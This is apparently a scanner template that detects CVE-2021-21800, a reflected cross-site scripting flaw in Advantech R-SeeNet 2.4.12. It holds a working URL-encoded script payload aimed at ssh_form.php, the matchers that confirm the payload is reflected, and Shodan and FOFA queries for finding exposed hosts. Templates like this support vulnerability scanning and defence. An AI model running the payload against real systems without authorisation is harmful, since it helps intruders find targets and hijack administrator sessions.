id: CVE-2021-21800

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in R-SeeNet 2.4.12.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1271
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21800
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2021-21800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21800
    cwe-id: CWE-79
    epss-score: 0.14115
    epss-percentile: 0.96197
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,xss,r-seenet,advantech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>SSH Session </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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